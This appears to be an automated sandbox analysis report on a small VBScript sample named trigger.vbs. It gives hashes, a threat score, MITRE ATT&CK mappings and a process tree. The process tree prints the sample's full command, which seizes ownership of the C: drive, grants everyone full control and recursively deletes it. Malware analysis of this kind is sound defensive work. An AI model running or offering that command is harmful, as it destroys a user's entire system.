716cd075754ecccc107cda41d8e2dab25379970fc768e60cf9e1f2aa85940dcf

Analysis

max time kernel
135s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
trigger.vbs
Size 122B
Sample240821-slbxcsvhla
SHA256 716cd075754ecccc107cda41d8e2dab25379970fc768e60cf9e1f2aa85940dcf
MD5 1347fda5e38458b268ab2da5a138bc0d
SHA1 253960367364d3e9dd0bb10086ff36df72c22ea4
SHA512 9e7a1d16991c9b32f8c01de1e08ffb3afd8a9de10d756aa53f33b7885a5e8d8aba4e489fb1e5e1e1742e8096607e552f132534da8c63b247dc1104b784aac201
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2988	takeown.exe
5112	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2988	takeown.exe
5112	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2988	takeown.exe
Token: SeTakeOwnershipPrivilege	2988	takeown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3236 wrote to memory of 1976	3236	WScript.exe	83
PID 3236 wrote to memory of 1976	3236	WScript.exe	83
PID 1976 wrote to memory of 2988	1976	cmd.exe	85
PID 1976 wrote to memory of 2988	1976	cmd.exe	85
PID 1976 wrote to memory of 5112	1976	cmd.exe	86
PID 1976 wrote to memory of 5112	1976	cmd.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\* >nul && icacls C:\* /grant Everyone:(F) >nul && rd/s/q C:\ >nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\takeown.exe
    takeown /f C:\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2988
- - C:\Windows\system32\icacls.exe
    icacls C:\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads